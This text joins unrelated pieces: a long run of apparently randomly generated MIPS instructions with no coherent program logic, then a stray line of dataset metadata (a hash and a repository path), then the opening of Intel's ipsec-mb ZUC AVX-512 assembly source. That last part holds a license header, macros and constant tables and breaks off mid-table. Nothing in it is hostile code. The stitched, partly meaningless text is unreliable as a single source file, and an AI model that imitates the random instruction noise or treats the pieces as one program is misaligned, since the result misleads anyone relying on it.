mult $4,$2
sll $5,$6,17
divu $5,$ra
mthi $5
mult $1,$5
div $4,$ra
ori $1,$2,40449
ori $2,$2,9264
mthi $1
div $5,$ra
multu $1,$1
addu $4,$0,$2
divu $5,$ra
sll $1,$2,17
lui $4,56941
multu $5,$4
lb $1,13($0)
addu $1,$4,$4
addu $4,$5,$5
mfhi $5
srav $3,$1,$3
multu $3,$2
mthi $4
multu $4,$2
mfhi $4
lb $5,1($0)
mult $6,$6
mtlo $6
sll $4,$4,6
multu $4,$5
lb $2,2($0)
mflo $6
multu $4,$4
mfhi $0
div $5,$ra
srav $2,$2,$2
sb $2,11($0)
sll $2,$2,11
mthi $1
sb $1,9($0)
sll $5,$5,29
lui $5,3498
mtlo $1
mflo $0
mfhi $2
ori $5,$0,33006
lb $4,13($0)
srav $2,$2,$2
addiu $0,$1,-16199
ori $4,$5,65425
addu $1,$1,$1
mult $1,$2
ori $1,$0,40278
divu $2,$ra
div $5,$ra
srav $4,$1,$3
mult $3,$2
lb $4,9($0)
sll $6,$0,2
sll $5,$2,6
lui $6,5927
lui $0,630
addu $1,$1,$0
addu $3,$3,$3
mult $4,$5
srav $4,$6,$4
mfhi $1
lb $4,10($0)
sb $0,13($0)
mult $4,$4
sb $1,3($0)
addiu $1,$2,27351
lui $1,25312
mtlo $2
ori $4,$1,38724
mfhi $5
addiu $4,$4,-18907
addiu $1,$1,32033
divu $3,$ra
lui $0,24547
addiu $0,$5,-10331
srav $5,$4,$2
mfhi $0
srav $1,$0,$1
lb $5,16($0)
srav $0,$0,$0
lui $1,41358
srav $1,$2,$2
divu $0,$ra
sb $1,16($0)
ori $6,$5,8422
mtlo $5
srav $4,$2,$3
ori $3,$2,26373
div $6,$ra
addiu $1,$5,-9092
sll $1,$3,0
addiu $4,$4,-7553
mtlo $4
mfhi $5
mflo $2
mfhi $5
sll $5,$2,18
sll $4,$1,0
multu $0,$4
sll $5,$5,14
mtlo $5
ori $3,$6,24662
lui $4,40728
multu $4,$4
sb $4,3($0)
lui $5,60049
lui $4,19756
mthi $5
mtlo $1
sll $4,$4,20
div $6,$ra
mtlo $4
divu $5,$ra
mflo $3
mfhi $0
lb $4,2($0)
mult $5,$0
mflo $2
mflo $1
addu $2,$2,$2
mfhi $1
sb $5,2($0)
multu $4,$4
mthi $4
mult $1,$1
div $6,$ra
divu $4,$ra
divu $0,$ra
sb $0,15($0)
div $5,$ra
div $0,$ra
mult $4,$4
addu $6,$4,$4
mult $1,$4
mult $4,$4
lb $0,11($0)
mthi $0
multu $4,$5
lui $3,46004
mfhi $5
lui $5,5296
mtlo $1
ori $3,$2,20096
mult $1,$4
lb $2,11($0)
div $5,$ra
addu $1,$1,$4
lui $4,60705
div $1,$ra
ori $1,$1,2275
lui $5,53485
mfhi $4
multu $1,$4
mflo $1
mthi $4
addu $1,$1,$1
mfhi $6
divu $6,$ra
multu $4,$2
mtlo $4
mult $3,$2
sb $6,7($0)
mult $2,$2
sb $0,0($0)
srav $4,$5,$5
lb $4,14($0)
divu $6,$ra
mflo $1
addiu $4,$1,14293
multu $4,$2
sll $5,$0,2
div $4,$ra
lb $4,16($0)
addiu $1,$1,-5374
divu $2,$ra
mtlo $1
divu $1,$ra
ori $4,$4,19389
mflo $1
addu $1,$4,$0
mflo $1
divu $5,$ra
sll $2,$2,3
mult $5,$1
multu $5,$5
srav $4,$2,$2
addiu $4,$5,27026
lb $2,8($0)
srav $4,$3,$3
mfhi $2
mflo $5
multu $1,$1
ori $4,$5,5503
mtlo $4
lb $4,4($0)
lui $2,52184
lui $6,18636
mflo $5
addiu $0,$4,20273
mflo $4
addu $4,$4,$3
ori $0,$4,6538
mtlo $5
multu $4,$5
multu $3,$1
sb $4,5($0)
multu $1,$5
mthi $0
mthi $1
addu $4,$4,$2
mult $6,$4
mtlo $1
div $1,$ra
lui $4,8905
addu $1,$3,$3
multu $0,$0
lui $5,15556
div $1,$ra
addu $5,$5,$5
lui $1,18075
multu $4,$2
mflo $0
sb $4,4($0)
mfhi $6
ori $5,$5,35604
mfhi $1
ori $4,$2,21471
divu $5,$ra
addiu $5,$4,-14486
div $4,$ra
div $1,$ra
srav $4,$2,$5
addiu $1,$0,25416
mtlo $2
lui $4,43089
mtlo $6
divu $4,$ra
mult $2,$2
srav $2,$2,$1
divu $1,$ra
mthi $4
multu $2,$2
multu $4,$4
mflo $4
srav $1,$2,$6
mflo $2
addu $0,$2,$0
ori $6,$2,62630
sb $5,4($0)
sll $2,$2,6
addu $6,$6,$6
sll $5,$2,31
addiu $0,$4,-9908
mflo $1
lb $4,10($0)
lb $2,4($0)
mthi $4
lb $1,5($0)
div $4,$ra
mflo $1
mflo $4
sll $2,$1,21
addiu $4,$4,7717
sb $4,15($0)
srav $1,$1,$6
srav $6,$6,$2
addiu $4,$4,-23756
mthi $4
lui $5,53464
multu $4,$2
sll $6,$3,28
div $4,$ra
sb $4,10($0)
ori $1,$5,15863
sll $2,$2,16
addu $6,$6,$3
srav $4,$3,$3
sb $5,12($0)
addu $4,$5,$0
mfhi $3
mult $4,$4
lb $3,12($0)
ori $0,$6,50247
multu $0,$4
addiu $3,$3,-1774
addu $1,$4,$4
lb $1,7($0)
addiu $5,$4,-10409
srav $4,$4,$5
addu $2,$2,$4
lui $5,7230
multu $2,$2
multu $1,$2
lb $5,14($0)
lb $4,16($0)
mflo $4
divu $4,$ra
mthi $5
lb $4,10($0)
addiu $0,$4,10165
sb $6,0($0)
div $4,$ra
srav $1,$6,$0
sll $1,$2,21
sb $5,7($0)
lui $4,36610
addu $0,$2,$3
sb $0,5($0)
lb $0,9($0)
mthi $5
mthi $1
sll $1,$1,20
addu $4,$5,$2
mtlo $3
lb $1,2($0)
mfhi $1
mflo $3
mfhi $1
lb $6,14($0)
ori $0,$0,64814
mthi $4
mflo $5
addu $1,$1,$1
ori $4,$4,11437
sb $1,1($0)
mflo $2
lui $6,45778
mtlo $1
sll $4,$4,3
multu $5,$1
lui $2,61494
mult $1,$0
sll $0,$0,7
divu $1,$ra
mthi $4
mflo $4
multu $5,$5
lb $0,3($0)
mflo $0
lb $6,5($0)
mtlo $5
mfhi $4
sb $4,1($0)
mult $3,$1
div $1,$ra
lb $4,2($0)
addiu $4,$4,-9680
addiu $2,$6,-13015
mult $4,$2
lb $4,12($0)
divu $6,$ra
mthi $4
lui $0,44152
mfhi $1
mult $1,$1
mthi $5
sb $5,4($0)
lb $6,16($0)
lb $4,4($0)
mthi $1
divu $1,$ra
multu $5,$4
mfhi $3
div $2,$ra
mfhi $0
addiu $4,$5,-9095
multu $5,$1
sll $4,$2,27
mflo $1
lui $4,39682
sll $2,$2,25
addu $2,$2,$2
sll $2,$2,6
ori $4,$5,51605
mflo $4
addu $4,$0,$0
sll $1,$1,18
mtlo $1
div $1,$ra
ori $6,$4,14333
mfhi $0
srav $2,$1,$2
mtlo $4
multu $5,$5
addiu $2,$2,-22900
mult $4,$5
lui $4,15336
ori $1,$0,62980
mthi $4
mult $4,$6
div $2,$ra
lui $4,59453
ori $3,$3,50457
lb $1,0($0)
ori $0,$5,47291
srav $0,$2,$4
ori $4,$4,59501
mthi $4
addiu $0,$4,-9713
mult $0,$5
mult $5,$5
divu $2,$ra
sll $4,$4,2
sll $4,$1,12
mult $4,$4
lb $3,0($0)
div $1,$ra
addu $4,$4,$3
sb $0,0($0)
div $6,$ra
mflo $6
sll $1,$4,19
sb $1,0($0)
addu $5,$5,$2
mflo $4
mflo $5
srav $5,$1,$6
srav $5,$2,$4
ori $5,$2,61208
divu $2,$ra
lui $2,21029
lb $1,0($0)
sb $6,10($0)
lui $4,11852
| 11.864045 | 18 | 0.564732 |
1d39217a9d7bae983fe59db4154cd10f4af5045c | 92,117 | asm | Assembly | lib/avx512/zuc_x16_avx512.asm | edtubbs/intel-ipsec-mb | 27bb66dcdf5aec2aec8cc0a6bee9c1da96898d7f | [
"BSD-3-Clause"
] | null | null | null | lib/avx512/zuc_x16_avx512.asm | edtubbs/intel-ipsec-mb | 27bb66dcdf5aec2aec8cc0a6bee9c1da96898d7f | [
"BSD-3-Clause"
] | null | null | null | lib/avx512/zuc_x16_avx512.asm | edtubbs/intel-ipsec-mb | 27bb66dcdf5aec2aec8cc0a6bee9c1da96898d7f | [
"BSD-3-Clause"
] | null | null | null | ;;
;; Copyright (c) 2020-2021, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%include "include/os.asm"
%include "include/reg_sizes.asm"
%include "include/zuc_sbox.inc"
%include "include/transpose_avx512.asm"
%include "include/const.inc"
%include "include/mb_mgr_datastruct.asm"
%include "include/cet.inc"
%define APPEND(a,b) a %+ b
%define APPEND3(a,b,c) a %+ b %+ c
%ifndef CIPHER_16
%define USE_GFNI 0
%define CIPHER_16 asm_ZucCipher_16_avx512
%define ZUC128_INIT asm_ZucInitialization_16_avx512
%define ZUC256_INIT asm_Zuc256Initialization_16_avx512
%define ZUC128_REMAINDER_16 asm_Eia3RemainderAVX512_16
%define ZUC256_REMAINDER_16 asm_Eia3_256_RemainderAVX512_16
%define ZUC_KEYGEN64B_16 asm_ZucGenKeystream64B_16_avx512
%define ZUC_KEYGEN8B_16 asm_ZucGenKeystream8B_16_avx512
%define ZUC_KEYGEN4B_16 asm_ZucGenKeystream4B_16_avx512
%define ZUC_KEYGEN_16 asm_ZucGenKeystream_16_avx512
%define ZUC_KEYGEN64B_SKIP8_16 asm_ZucGenKeystream64B_16_skip8_avx512
%define ZUC_KEYGEN8B_SKIP8_16 asm_ZucGenKeystream8B_16_skip8_avx512
%define ZUC_KEYGEN_SKIP8_16 asm_ZucGenKeystream_16_skip8_avx512
%define ZUC_ROUND64B_16 asm_Eia3Round64BAVX512_16
%endif
section .data
default rel
align 64
EK_d64:
dd 0x0044D700, 0x0026BC00, 0x00626B00, 0x00135E00, 0x00578900, 0x0035E200, 0x00713500, 0x0009AF00
dd 0x004D7800, 0x002F1300, 0x006BC400, 0x001AF100, 0x005E2600, 0x003C4D00, 0x00789A00, 0x0047AC00
align 64
EK256_d64:
dd 0x00220000, 0x002F0000, 0x00240000, 0x002A0000, 0x006D0000, 0x00400000, 0x00400000, 0x00400000
dd 0x00400000, 0x00400000, 0x00400000, 0x00400000, 0x00400000, 0x00520000, 0x00100000, 0x00300000
align 64
EK256_EIA3_4:
dd 0x00220000, 0x002F0000, 0x00250000, 0x002A0000,
dd 0x006D0000, 0x00400000, 0x00400000, 0x00400000,
dd 0x00400000, 0x00400000, 0x00400000, 0x00400000,
dd 0x00400000, 0x00520000, 0x00100000, 0x00300000
align 64
EK256_EIA3_8:
dd 0x00230000, 0x002F0000, 0x00240000, 0x002A0000,
dd 0x006D0000, 0x00400000, 0x00400000, 0x00400000,
dd 0x00400000, 0x00400000, 0x00400000, 0x00400000,
dd 0x00400000, 0x00520000, 0x00100000, 0x00300000
align 64
EK256_EIA3_16:
dd 0x00230000, 0x002F0000, 0x00250000, 0x002A0000,
dd 0x006D0000, 0x00400000, 0x00400000, 0x00400000,
dd 0x00400000, 0x00400000, 0x00400000, 0x00400000,
dd 0x00400000, 0x00520000, 0x00100000, 0x00300000
align 64
shuf_mask_key:
dd 0x00FFFFFF, 0x01FFFFFF, 0x02FFFFFF, 0x03FFFFFF, 0x04FFFFFF, 0x05FFFFFF, 0x06FFFFFF, 0x07FFFFFF,
dd 0x08FFFFFF, 0x09FFFFFF, 0x0AFFFFFF, 0x0BFFFFFF, 0x0CFFFFFF, 0x0DFFFFFF, 0x0EFFFFFF, 0x0FFFFFFF,
align 64
shuf_mask_iv:
dd 0xFFFFFF00, 0xFFFFFF01, 0xFFFFFF02, 0xFFFFFF03, 0xFFFFFF04, 0xFFFFFF05, 0xFFFFFF06, 0xFFFFFF07,
dd 0xFFFFFF08, 0xFFFFFF09, 0xFFFFFF0A, 0xFFFFFF0B, 0xFFFFFF0C, 0xFFFFFF0D, 0xFFFFFF0E, 0xFFFFFF0F,
align 64
shuf_mask_key256_first_high:
dd 0x00FFFFFF, 0x01FFFFFF, 0x02FFFFFF, 0x03FFFFFF, 0x04FFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
dd 0x08FFFFFF, 0x09FFFFFF, 0xFFFFFFFF, 0x0BFFFFFF, 0x0CFFFFFF, 0x0DFFFFFF, 0x0EFFFFFF, 0x0FFFFFFF,
align 64
shuf_mask_key256_first_low:
dd 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFF05FF, 0xFFFF06FF, 0xFFFF07FF,
dd 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFF0AFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
align 64
shuf_mask_key256_second:
dd 0xFFFF0500, 0xFFFF0601, 0xFFFF0702, 0xFFFF0803, 0xFFFF0904, 0xFFFFFF0A, 0xFFFFFF0B, 0xFFFFFFFF,
dd 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFF0C, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFF0FFFFF, 0xFF0F0E0D,
align 64
shuf_mask_iv256_first_high:
dd 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0x00FFFFFF, 0x01FFFFFF, 0x0AFFFFFF,
dd 0xFFFFFFFF, 0xFFFFFFFF, 0x05FFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
align 64
shuf_mask_iv256_first_low:
dd 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFF02,
dd 0xFFFF030B, 0xFFFF0C04, 0xFFFFFFFF, 0xFFFF060D, 0xFFFF070E, 0xFFFF0F08, 0xFFFFFF09, 0xFFFFFFFF,
align 64
shuf_mask_iv256_second:
dd 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFF01FFFF, 0xFF02FFFF, 0xFF03FFFF,
dd 0xFF04FFFF, 0xFF05FFFF, 0xFF06FFFF, 0xFF07FFFF, 0xFF08FFFF, 0xFFFFFFFF, 0xFFFF00FF, 0xFFFFFFFF,
align 64
key_mask_low_4:
dq 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff
dq 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xff0fffffffff0fff
align 64
iv_mask_low_6:
dq 0x3f3f3f3f3f3f3fff, 0x000000000000003f
align 64
mask31:
dd 0x7FFFFFFF, 0x7FFFFFFF, 0x7FFFFFFF, 0x7FFFFFFF,
dd 0x7FFFFFFF, 0x7FFFFFFF, 0x7FFFFFFF, 0x7FFFFFFF,
dd 0x7FFFFFFF, 0x7FFFFFFF, 0x7FFFFFFF, 0x7FFFFFFF,
dd 0x7FFFFFFF, 0x7FFFFFFF, 0x7FFFFFFF, 0x7FFFFFFF,
align 64
swap_mask:
db 0x03, 0x02, 0x01, 0x00, 0x07, 0x06, 0x05, 0x04
db 0x0b, 0x0a, 0x09, 0x08, 0x0f, 0x0e, 0x0d, 0x0c
db 0x03, 0x02, 0x01, 0x00, 0x07, 0x06, 0x05, 0x04
db 0x0b, 0x0a, 0x09, 0x08, 0x0f, 0x0e, 0x0d, 0x0c
db 0x03, 0x02, 0x01, 0x00, 0x07, 0x06, 0x05, 0x04
db 0x0b, 0x0a, 0x09, 0x08, 0x0f, 0x0e, 0x0d, 0x0c
db 0x03, 0x02, 0x01, 0x00, 0x07, 0x06, 0x05, 0x04
db 0x0b, 0x0a, 0x09, 0x08, 0x0f, 0x0e, 0x0d, 0x0c
align 64
S1_S0_shuf:
db 0x00, 0x02, 0x04, 0x06, 0x08, 0x0A, 0x0C, 0x0E, 0x01, 0x03, 0x05, 0x07, 0x09, 0x0B, 0x0D, 0x0F
db 0x00, 0x02, 0x04, 0x06, 0x08, 0x0A, 0x0C, 0x0E, 0x01, 0x03, 0x05, 0x07, 0x09, 0x0B, 0x0D, 0x0F
db 0x00, 0x02, 0x04, 0x06, 0x08, 0x0A, 0x0C, 0x0E, 0x01, 0x03, 0x05, 0x07, 0x09, 0x0B, 0x0D, 0x0F
db 0x00, 0x02, 0x04, 0x06, 0x08, 0x0A, 0x0C, 0x0E, 0x01, 0x03, 0x05, 0x07, 0x09, 0x0B, 0x0D, 0x0F
align 64
S0_S1_shuf:
db 0x01, 0x03, 0x05, 0x07, 0x09, 0x0B, 0x0D, 0x0F, 0x00, 0x02, 0x04, 0x06, 0x08, 0x0A, 0x0C, 0x0E,
db 0x01, 0x03, 0x05, 0x07, 0x09, 0x0B, 0x0D, 0x0F, 0x00, 0x02, 0x04, 0x06, 0x08, 0x0A, 0x0C, 0x0E,
db 0x01, 0x03, 0x05, 0x07, 0x09, 0x0B, 0x0D, 0x0F, 0x00, 0x02, 0x04, 0x06, 0x08, 0x0A, 0x0C, 0x0E,
db 0x01, 0x03, 0x05, 0x07, 0x09, 0x0B, 0x0D, 0x0F, 0x00, 0x02, 0x04, 0x06, 0x08, 0x0A, 0x0C, 0x0E,
align 64
rev_S1_S0_shuf:
db 0x00, 0x08, 0x01, 0x09, 0x02, 0x0A, 0x03, 0x0B, 0x04, 0x0C, 0x05, 0x0D, 0x06, 0x0E, 0x07, 0x0F
db 0x00, 0x08, 0x01, 0x09, 0x02, 0x0A, 0x03, 0x0B, 0x04, 0x0C, 0x05, 0x0D, 0x06, 0x0E, 0x07, 0x0F
db 0x00, 0x08, 0x01, 0x09, 0x02, 0x0A, 0x03, 0x0B, 0x04, 0x0C, 0x05, 0x0D, 0x06, 0x0E, 0x07, 0x0F
db 0x00, 0x08, 0x01, 0x09, 0x02, 0x0A, 0x03, 0x0B, 0x04, 0x0C, 0x05, 0x0D, 0x06, 0x0E, 0x07, 0x0F
align 64
rev_S0_S1_shuf:
db 0x08, 0x00, 0x09, 0x01, 0x0A, 0x02, 0x0B, 0x03, 0x0C, 0x04, 0x0D, 0x05, 0x0E, 0x06, 0x0F, 0x07
db 0x08, 0x00, 0x09, 0x01, 0x0A, 0x02, 0x0B, 0x03, 0x0C, 0x04, 0x0D, 0x05, 0x0E, 0x06, 0x0F, 0x07
db 0x08, 0x00, 0x09, 0x01, 0x0A, 0x02, 0x0B, 0x03, 0x0C, 0x04, 0x0D, 0x05, 0x0E, 0x06, 0x0F, 0x07
db 0x08, 0x00, 0x09, 0x01, 0x0A, 0x02, 0x0B, 0x03, 0x0C, 0x04, 0x0D, 0x05, 0x0E, 0x06, 0x0F, 0x07
align 64
bit_reverse_table_l:
db 0x00, 0x08, 0x04, 0x0c, 0x02, 0x0a, 0x06, 0x0e, 0x01, 0x09, 0x05, 0x0d, 0x03, 0x0b, 0x07, 0x0f
db 0x00, 0x08, 0x04, 0x0c, 0x02, 0x0a, 0x06, 0x0e, 0x01, 0x09, 0x05, 0x0d, 0x03, 0x0b, 0x07, 0x0f
db 0x00, 0x08, 0x04, 0x0c, 0x02, 0x0a, 0x06, 0x0e, 0x01, 0x09, 0x05, 0x0d, 0x03, 0x0b, 0x07, 0x0f
db 0x00, 0x08, 0x04, 0x0c, 0x02, 0x0a, 0x06, 0x0e, 0x01, 0x09, 0x05, 0x0d, 0x03, 0x0b, 0x07, 0x0f
align 64
bit_reverse_table_h:
db 0x00, 0x80, 0x40, 0xc0, 0x20, 0xa0, 0x60, 0xe0, 0x10, 0x90, 0x50, 0xd0, 0x30, 0xb0, 0x70, 0xf0
db 0x00, 0x80, 0x40, 0xc0, 0x20, 0xa0, 0x60, 0xe0, 0x10, 0x90, 0x50, 0xd0, 0x30, 0xb0, 0x70, 0xf0
db 0x00, 0x80, 0x40, 0xc0, 0x20, 0xa0, 0x60, 0xe0, 0x10, 0x90, 0x50, 0xd0, 0x30, 0xb0, 0x70, 0xf0
db 0x00, 0x80, 0x40, 0xc0, 0x20, 0xa0, 0x60, 0xe0, 0x10, 0x90, 0x50, 0xd0, 0x30, 0xb0, 0x70, 0xf0
align 64
bit_reverse_and_table:
db 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f
db 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f
db 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f
db 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f
align 64
bit_reverse_table:
times 8 db 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80
align 64
data_mask_64bits:
dd 0xffffffff, 0xffffffff, 0x00000000, 0x00000000
dd 0xffffffff, 0xffffffff, 0x00000000, 0x00000000
dd 0xffffffff, 0xffffffff, 0x00000000, 0x00000000
dd 0xffffffff, 0xffffffff, 0x00000000, 0x00000000
align 64
shuf_mask_tags_0_1_2_3:
dd 0x01, 0x05, 0x09, 0x0D, 0x11, 0x15, 0x19, 0x1D, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
dd 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x01, 0x05, 0x09, 0x0D, 0x11, 0x15, 0x19, 0x1D
align 64
shuf_mask_tags_0_4_8_12:
dd 0x01, 0x11, 0xFF, 0xFF, 0x05, 0x15, 0xFF, 0xFF, 0x09, 0x19, 0xFF, 0xFF, 0x0D, 0x1D, 0xFF, 0xFF
dd 0xFF, 0xFF, 0x01, 0x11, 0xFF, 0xFF, 0x05, 0x15, 0xFF, 0xFF, 0x09, 0x19, 0xFF, 0xFF, 0x0D, 0x1D
align 64
all_ffs:
dw 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff
dw 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff
dw 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff
dw 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff
align 64
all_threes:
dw 0x0003, 0x0003, 0x0003, 0x0003, 0x0003, 0x0003, 0x0003, 0x0003
dw 0x0003, 0x0003, 0x0003, 0x0003, 0x0003, 0x0003, 0x0003, 0x0003
align 64
all_fffcs:
dw 0xfffc, 0xfffc, 0xfffc, 0xfffc, 0xfffc, 0xfffc, 0xfffc, 0xfffc
dw 0xfffc, 0xfffc, 0xfffc, 0xfffc, 0xfffc, 0xfffc, 0xfffc, 0xfffc
dw 0xfffc, 0xfffc, 0xfffc, 0xfffc, 0xfffc, 0xfffc, 0xfffc, 0xfffc
dw 0xfffc, 0xfffc, 0xfffc, 0xfffc, 0xfffc, 0xfffc, 0xfffc, 0xfffc
align 64
all_3fs:
dw 0x003f, 0x003f, 0x003f, 0x003f, 0x003f, 0x003f, 0x003f, 0x003f
dw 0x003f, 0x003f, 0x003f, 0x003f, 0x003f, 0x003f, 0x003f, 0x003f
align 16
bit_mask_table:
db 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff
db 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x80
db 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xc0
db 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xe0
db 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf0
db 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xf8
db 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfc
db 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xfe
byte64_len_to_mask_table:
dq 0xffffffffffffffff, 0x0000000000000001
dq 0x0000000000000003, 0x0000000000000007
dq 0x000000000000000f, 0x000000000000001f
dq 0x000000000000003f, 0x000000000000007f
dq 0x00000000000000ff, 0x00000000000001ff
dq 0x00000000000003ff, 0x00000000000007ff
dq 0x0000000000000fff, 0x0000000000001fff
dq 0x0000000000003fff, 0x0000000000007fff
dq 0x000000000000ffff, 0x000000000001ffff
dq 0x000000000003ffff, 0x000000000007ffff
dq 0x00000000000fffff, 0x00000000001fffff
dq 0x00000000003fffff, 0x00000000007fffff
dq 0x0000000000ffffff, 0x0000000001ffffff
dq 0x0000000003ffffff, 0x0000000007ffffff
dq 0x000000000fffffff, 0x000000001fffffff
dq 0x000000003fffffff, 0x000000007fffffff
dq 0x00000000ffffffff, 0x00000001ffffffff
dq 0x00000003ffffffff, 0x00000007ffffffff
dq 0x0000000fffffffff, 0x0000001fffffffff
dq 0x0000003fffffffff, 0x0000007fffffffff
dq 0x000000ffffffffff, 0x000001ffffffffff
dq 0x000003ffffffffff, 0x000007ffffffffff
dq 0x00000fffffffffff, 0x00001fffffffffff
dq 0x00003fffffffffff, 0x00007fffffffffff
dq 0x0000ffffffffffff, 0x0001ffffffffffff
dq 0x0003ffffffffffff, 0x0007ffffffffffff
dq 0x000fffffffffffff, 0x001fffffffffffff
dq 0x003fffffffffffff, 0x007fffffffffffff
dq 0x00ffffffffffffff, 0x01ffffffffffffff
dq 0x03ffffffffffffff, 0x07ffffffffffffff
dq 0x0fffffffffffffff, 0x1fffffffffffffff
dq 0x3fffffffffffffff, 0x7fffffffffffffff
dq 0xffffffffffffffff
align 64
add_64:
dq 64, 64, 64, 64, 64, 64, 64, 64
align 32
all_512w:
dw 512, 512, 512, 512, 512, 512, 512, 512
dw 512, 512, 512, 512, 512, 512, 512, 512
align 64
bswap_mask:
db 0x03, 0x02, 0x01, 0x00, 0x07, 0x06, 0x05, 0x04
db 0x0b, 0x0a, 0x09, 0x08, 0x0f, 0x0e, 0x0d, 0x0c
db 0x03, 0x02, 0x01, 0x00, 0x07, 0x06, 0x05, 0x04
db 0x0b, 0x0a, 0x09, 0x08, 0x0f, 0x0e, 0x0d, 0x0c
db 0x03, 0x02, 0x01, 0x00, 0x07, 0x06, 0x05, 0x04
db 0x0b, 0x0a, 0x09, 0x08, 0x0f, 0x0e, 0x0d, 0x0c
db 0x03, 0x02, 0x01, 0x00, 0x07, 0x06, 0x05, 0x04
db 0x0b, 0x0a, 0x09, 0x08, 0x0f, 0x0e, 0x0d, 0x0c
align 64
all_31w:
dw 31, 31, 31, 31, 31, 31, 31, 31
dw 31, 31, 31, 31, 31, 31, 31, 31
align 64
all_ffe0w:
dw 0xffe0, 0xffe0, 0xffe0, 0xffe0, 0xffe0, 0xffe0, 0xffe0, 0xffe0
dw 0xffe0, 0xffe0, 0xffe0, 0xffe0, 0xffe0, 0xffe0, 0xffe0, 0xffe0
align 32
permw_mask:
dw 0, 4, 8, 12, 1, 5, 8, 13, 2, 6, 10, 14, 3, 7, 11, 15
extr_bits_0_4_8_12:
db 00010001b, 00010001b, 00000000b, 00000000b
extr_bits_1_5_9_13:
db 00010010b, 00100010b, 00000000b, 00000000b
extr_bits_2_6_10_14:
db 01000100b, 01000100b, 00000000b, 00000000b
extr_bits_3_7_11_15:
